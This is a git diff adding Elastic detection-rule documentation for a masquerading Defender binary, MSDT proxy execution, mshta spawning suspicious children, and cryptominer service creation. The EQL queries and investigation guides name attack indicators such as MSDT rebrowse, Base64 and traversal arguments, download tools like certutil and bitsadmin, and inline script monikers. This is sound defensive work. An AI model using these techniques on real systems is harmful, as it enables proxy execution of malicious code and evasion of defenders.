minimum confirmed workflow pattern; avoid exceptions on `process.name`, `process.pe.original_file_name`, signer subject alone, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the exact workflow: executable path, Microsoft signer or hash, parent process, session context, user/host scope, and any controlled packaging, recovery, or lab record that corroborated the telemetry. Create an exception only after the same narrow workflow pattern is stable across prior alerts. +- If suspicious but unconfirmed, preserve the alert details, process tree, command line, binary copy and hash, parent context, directory listing, same-folder DLLs, and related-alert timeline before containment. Apply reversible containment first, such as execution prevention on the suspicious path or temporary host isolation when active launcher behavior or side-loading creates continuing risk and the host role can tolerate interruption. +- If confirmed malicious, preserve process and artifact evidence first, including the suspicious Defender copy, same-folder DLLs, support files, launcher context, and related-alert timeline. Then isolate the host or apply an equivalent endpoint containment control, terminate only the suspicious non-default-path or renamed Defender instance, quarantine the suspicious executable and supporting files, remove launcher or persistence artifacts found during scoping, and restore the legitimate security product from known-good media if the masquerading copy replaced or shadowed a trusted component. +- After containment, restrict execution from user-writable, temporary, share, archive, and agent working directories where feasible, retain process/file/library telemetry that affected this case, and document the confirmed benign workflow or malicious artifact set for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + (process.pe.original_file_name == "MsMpEng.exe" and not process.name : "MsMpEng.exe") or + ( + process.name : "MsMpEng.exe" and + not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "?:\\Program Files\\Windows Defender\\*.exe", + "?:\\Program Files (x86)\\Windows Defender\\*.exe", + "?:\\Program Files\\Microsoft Security Client\\*.exe", + "?:\\Program Files (x86)\\Microsoft Security Client\\*.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Security Client\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Microsoft Security Client\\*.exe" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-diagnostics-wizard-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-diagnostics-wizard-execution.asciidoc new file mode 100644 index 0000000000..f20fa94d76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-diagnostics-wizard-execution.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-suspicious-microsoft-diagnostics-wizard-execution]] +=== Suspicious Microsoft Diagnostics Wizard Execution + +Identifies potential abuse of the Microsoft Diagnostics Troubleshooting Wizard (MSDT) to proxy malicious command or binary execution via malicious process arguments. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/nao_sec/status/1530196847679401984 +* https://lolbas-project.github.io/lolbas/Binaries/Msdt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Microsoft Diagnostics Wizard Execution* + + + +*Possible investigation steps* + + +- Does the alert show MSDT proxy-execution behavior or a bounded diagnostic launch? + - Why: MSDT abuse depends on PCWDiagnostic answer files, rebrowse or browse-file parameters, traversal, or encoded input, not on "msdt.exe" alone. + - Focus: `process.command_line` and `process.args`, classifying answer-file use, rebrowse or browse-file parameters, encoded input, traversal, and package location. + - Implication: escalate when arguments point to attacker-controlled content, encoded or traversal input, or user-writable answer files; lower concern only when they resolve to a recognized local diagnostic pack with no external, encoded, traversal, or user-writable references. + +- Do binary identity and launcher lineage fit a legitimate diagnostic launch? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when MSDT is renamed, relocated, unsigned or untrusted, or launched by Office, a browser, script host, "mshta.exe", "rundll32.exe", "regsvr32.exe", or a shell using profile or temp content; lower concern when a trusted Windows MSDT path and signed helpdesk, OEM, or management parent launch the same diagnostic pack. + +- Did MSDT or a diagnostic-host child launch another binary or script? + - Focus: child process events where `process.parent.entity_id` matches alert `process.entity_id`; record child `process.entity_id`, `process.executable`, `process.command_line`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Child process events for the same MSDT instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the first child is a signed diagnostic host, inspect that child's descendants before treating the chain as contained. + - Implication: escalate when MSDT or its diagnostic-host child launches shells, script interpreters, "mshta.exe", "regsvr32.exe", "rundll32.exe", unsigned payloads, or content from user-writable paths; lower concern when the child chain stays inside expected Microsoft or OEM diagnostic components. + +- Do file events show package staging or later execution? + - Focus: if file telemetry exists, pivot with `host.id` plus alert `process.entity_id`, parent `process.parent.entity_id`, direct-child parent linkage, and exact referenced paths when present; otherwise use `host.id`, `process.pid`, and alert-time window for referenced path, provenance, write timing, and later execution. Missing file telemetry is unresolved, not benign. !{investigate{"description":"","label":"File events for parent and child processes","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the package appears in Public, Temp, profile, share, or newly written staging paths, carries web or archive provenance, or later executes; lower concern only when artifact evidence stays bound to the same recognized diagnostic package. + +- If remote delivery is suggested, do optional network events show retrieval or external control? + - Focus: when network telemetry exists, query with `host.id` plus alert `process.entity_id` or alert-backed `process.parent.entity_id`, separating DNS from connections. Review child-process network activity from recovered child results. Missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"Network and DNS events for MSDT or its parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the parent, MSDT, or child chain retrieves remote HTML/package content or contacts unrelated infrastructure; lower concern only when available network evidence stays local or vendor-aligned with the same diagnostic package. + +- If local evidence is suspicious or unresolved, does related alert history broaden scope? + - Focus: compare related alerts for `user.id` and `host.id` over 48 hours for recurring MSDT command patterns, parent launchers, package paths, child payloads, or remote indicators. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same proxy-execution pattern appears across unrelated hosts or users; keep response local only when current process, file, child, and network evidence bind one recognized diagnostic workflow. + +- What disposition is supported? + - Weigh command-line intent, image identity, parent lineage, package evidence, child or descendant processes, and file or network corroboration; escalate proxy execution or payload delivery, close only when evidence binds one recognized diagnostic workflow, and preserve artifacts when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Helpdesk, OEM troubleshooting, software deployment, or validation can trigger this rule when a signed support or management parent starts Microsoft-signed MSDT from a standard Windows path, uses the same controlled local diagnostic pack, and produces the same child-process set. Close only when parent path and command line, MSDT path and signature, command line, package path, child behavior, `user.id`, and `host.id` align in the current case; records can corroborate but not replace telemetry. +- Do not create exceptions on `process.name`, `process.pe.original_file_name`, or Microsoft signature alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and document the process, parent, package, and child-process evidence. Build exceptions only from the confirmed parent path plus command-line/package pattern plus `host.id` or `user.id`, not from "msdt.exe" alone. +- If suspicious but unconfirmed: + - Preserve the alert, MSDT `process.entity_id`, `process.pid`, `process.command_line`, `process.args`, parent evidence, package path, child identifiers, suspicious package copies, and remote indicators. + - Apply reversible containment for the affected `host.id` and `user.id`, such as temporary network restrictions, heightened monitoring, or child-process blocking. Isolate only for spawned payload behavior or high host criticality. +- If confirmed malicious: + - Isolate the host or escalate after preserving the MSDT and child identifiers, package paths, payload paths, command lines, and remote indicators. + - Terminate MSDT, diagnostic-host, and payload processes only after recording identifiers; block malicious child binaries, package paths, domains, and IP indicators. + - Remove malicious ".xml", ".msi", ".diagcab", remote package, or payload artifacts, then remediate the parent document, browser, script, or management path. +- Post-incident hardening: + - Restrict MSDT where business use no longer requires it, verify Follina-era mitigations, and retain process, file, and network telemetry for MSDT, parents, and children. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "msdt.exe" or process.name : "msdt.exe") and + ( + process.args : ("IT_RebrowseForFile=*", "*FromBase64*", "*/../../../*", "IT_BrowseForFile=*") or + ( + process.args : ("-af", "/af") and process.args : "/skip" and + process.parent.name : ("explorer.exe", "cmd.exe", "powershell.exe", "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe") and + process.args : ("?:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml", "PCWDiagnostic.xml", "?:\\Users\\Public\\*", "?:\\Windows\\Temp\\*") + ) or + + (process.pe.original_file_name == "msdt.exe" and not process.name : "msdt.exe" and process.name != null) or + + ( + ?process.pe.original_file_name == "msdt.exe" and + not process.executable : ( + "?:\\Windows\\system32\\msdt.exe", + "?:\\Windows\\SysWOW64\\msdt.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\system32\\msdt.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msdt.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-html-application-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-html-application-child-process.asciidoc new file mode 100644 index 0000000000..66eb177f9f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-microsoft-html-application-child-process.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-34-suspicious-microsoft-html-application-child-process]] +=== Suspicious Microsoft HTML Application Child Process + +Identifies Mshta.exe spawning a suspicious child process. This may indicate adversarial activity, as Mshta is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Mshta/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Microsoft HTML Application Child Process* + + + +*Possible investigation steps* + + +- What did mshta broker into the child process? + - Focus: `process.name`, `process.executable`, `process.command_line`, and `process.parent.command_line`, separating interpreters, script engines, transfer tools, installers, persistence utilities, DLL proxy loaders, and user-profile binaries; for transfer, installer, or user-profile children, recover same-child file and network/DNS events. !{investigate{"description":"","label":"File events for the child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network and DNS events for the child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: treat download, staging, persistence, scripting, or arbitrary user-space execution as high-risk proxy execution; narrow only when child arguments and mshta command line identify one recognized HTA-driven deployment, enrollment, support, or internal-portal flow. Missing file, network, or DNS telemetry is unresolved, not benign. + +- Is the child binary identity consistent with its claimed role? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: renamed, unsigned/untrusted, user-writable, newly seen, or PE-mismatched children strengthen proxy-execution; a trusted signer identifies the binary but does not clear the mshta chain. + +- What source did mshta execute? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.code_signature.subject_name`, and `process.parent.code_signature.trusted`, checking expected System32/SysWOW64 mshta plus inline "vbscript:"/"javascript:", "script:" monikers, remote URLs, ADS syntax, UNC paths, temp/downloads, or "INetCache" sources. + - Implication: inline scriptlets, remote/ADS-backed content, user-writable sources, obfuscation, or unexpected signer/path make mshta the likely delivery mechanism; internal HTAs, vendor packages, or deployment sources must still match the child workflow. + +- What process launched mshta? + - Why: recovering the mshta start event shows whether a browser, document, archive tool, installer, or management process initiated the chain. + - Focus: process-start events on `host.id` where recovered `process.entity_id` equals alert `process.parent.entity_id`; if absent, use `host.id`, `process.parent.pid`, and a tight alert window, then inspect recovered `process.parent.executable` and `process.parent.command_line`. !{investigate{"description":"","label":"Mshta parent process event","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: Office, browser, archive, chat, script-host, or unexpected-service launchers indicate delivery or user-execution risk; software-distribution, support, enrollment, or portal launchers explain the chain only when they start the same flow on the same host cohort. + +- Did the same mshta instance launch more suspicious children? + - Focus: process-start events on `host.id` where `process.parent.entity_id` matches alert `process.parent.entity_id`; fall back to `host.id`, `process.parent.pid`, and a tight alert window; inspect child `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Process events launched by the same mshta instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: same-instance fan-out into shells, transfer tools, schedulers, configuration changes, script hosts, or multiple user-space binaries widens response beyond one child; a single child stays narrow only if it matches the recovered benign workflow. + +- Does the user, session, and host cohort fit that workflow? + - Focus: `user.id`, `host.name`, `process.Ext.session_info.logon_type`, and recovered launcher `process.parent.executable`, using `host.id` as the stable host anchor. + - Implication: standard-user, shared-workstation, unusual remote/service-session, or non-management-host context raises priority without matching workflow history; cohort fit is reassuring only when session type and launcher match the deployment, support, enrollment, or portal pattern. + +- If local evidence is suspicious or unresolved, does alert history show broader proxy execution? + - Focus: related alerts for `user.id` in 48 hours where the same child `process.executable` or mshta command pattern (`process.command_line`, `process.parent.command_line`) recurs in proxy-execution alerts. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is quiet or ambiguous, compare related alerts for `host.id` in 48 hours; quiet history does not clear unresolved local evidence. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same delivery path or child-command pattern recurs across proxy-execution alerts; stay local only when the chain is resolved and related history fits the same recognized workflow. + +- Escalate on suspicious child intent, identity mismatch, inline/remote/ADS mshta source, abnormal launcher, same-mshta fan-out, or broader proxy-execution history; close only when process evidence binds one exact recognized workflow on this host and no contradictions remain; preserve the process tree and escalate mixed or incomplete evidence. + + +*False positive analysis* + + +- HP printer software (HPSolutionsPortal.hta) uses mshta to run a vendor portal that spawns cmd.exe for UDC telemetry cleanup and rundll32.exe for printui operations. The rule excludes the UDC cmd.exe pattern cross-source and the parent HTA path when `process.parent.command_line` is available. On sources without parent command_line (CrowdStrike, SecurityLog), these alerts still fire; confirm by matching `process.command_line` to HP ProgramData paths or printui.dll printer-name arguments before closing. +- Treat software distribution, device enrollment, remote support, or internal HTA portals as benign candidates only after process telemetry proves the same chain. Confirm child `process.executable`, `process.command_line`, `process.hash.sha256`, signer, mshta `process.parent.command_line`, recovered launcher executable/command line, and `user.id` plus `host.id` cohort. Use change records, support tickets, asset-role inventories, or prior alerts only as corroboration; never close unresolved local process evidence on recurrence or workflow labels alone. +- Do not close on partial matches. Inline scriptlets, remote URLs, ADS syntax, user-profile child executables, unexpected launchers, or same-mshta fan-out contradict a benign HTA workflow unless process telemetry and outside confirmation verify that exact activity. +- Build exceptions from the minimum confirmed pattern: recovered launcher `process.parent.executable`, mshta `process.parent.command_line`, child `process.executable` plus `process.command_line`, and stable `user.id` or `host.id` cohort. Avoid exceptions on mshta alone, `process.name` alone, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, record the child `process.command_line`, mshta `process.parent.command_line`, recovered launcher `process.parent.executable`, `user.id`, and `host.id` evidence that validated the workflow, then reverse temporary containment. Create an exception only for that narrow process pattern, using prior alerts as stability evidence when available. +- If suspicious but unconfirmed, preserve the alert record, process tree, child `process.entity_id`, alert `process.parent.entity_id`, child and mshta command lines, child `process.hash.sha256`, signer evidence, recovered launcher, `process.Ext.session_info.logon_type`, and related-alert results before containment. Apply reversible controls first, such as blocking the exact HTA URL or share visible in `process.parent.command_line`, restricting the child hash or path, or increasing monitoring on the affected `host.id` and `user.id`. +- If confirmed malicious, isolate the host or terminate the mshta/child process only after recording the child and mshta entity IDs, command lines, launcher, hash, signer, user, and host evidence. If endpoint response is unavailable, hand off that preserved evidence to the team that can contain the endpoint or affected account. +- After containment, block confirmed malicious child hashes, child executable paths, and exact mshta command-line sources, then remove only scripts, binaries, scheduled tasks, or persistence changes proven to belong to this chain. Remediate the delivery vector that started mshta, such as browser download, attachment, archive extraction, remote share, software package, or compromised management workflow. +- Post-incident hardening: restrict mshta use for users and hosts that do not need HTA execution, package legitimate HTA workflows through signed deployment tooling, and record adjacent variants such as inline "vbscript:" / "javascript:", remote "script:" monikers, ADS-backed HTAs, and INetCache retrievals for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "mshta.exe" and process.command_line != null and + ( + process.name : ( + "cmd.exe", "powershell.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "msiexec.exe", + "schtasks.exe", "reg.exe", "wscript.exe", "rundll32.exe" + ) or + process.executable : ("C:\\Users\\*\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\*.exe") + ) and + not (process.name : "cmd.exe" and process.command_line : "*\\HP\\HP*HPUDC*") and + not ?process.parent.command_line : "*\\HP\\*\\HPSolutionsPortal.hta*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-mining-process-creation-event.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-mining-process-creation-event.asciidoc new file mode 100644 index 0000000000..3c90d3eaaa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-mining-process-creation-event.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-suspicious-mining-process-creation-event]] +=== Suspicious Mining Process Creation Event + +Identifies service creation events of common mining services, possibly indicating the infection of a system with a cryptominer. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Mining Process Creation Event* + + +Cryptomining exploits system resources to mine cryptocurrency, often without user consent, impacting performance and security. Adversaries may deploy mining services on Linux systems, disguising them as legitimate processes. The detection rule identifies the creation of known mining service files, signaling potential unauthorized mining activity. By monitoring these specific file creation events, security teams can swiftly respond to and mitigate cryptomining threats. + + +*Possible investigation steps* + + +- Review the alert details to identify which specific mining service file was created, focusing on the file names listed in the query such as "aliyun.service" or "moneroocean_miner.service". +- Check the creation timestamp of the suspicious file to determine when the potential unauthorized mining activity began. +- Investigate the process that created the file by examining system logs or using process monitoring tools to identify the parent process and any associated command-line arguments. +- Analyze the system for 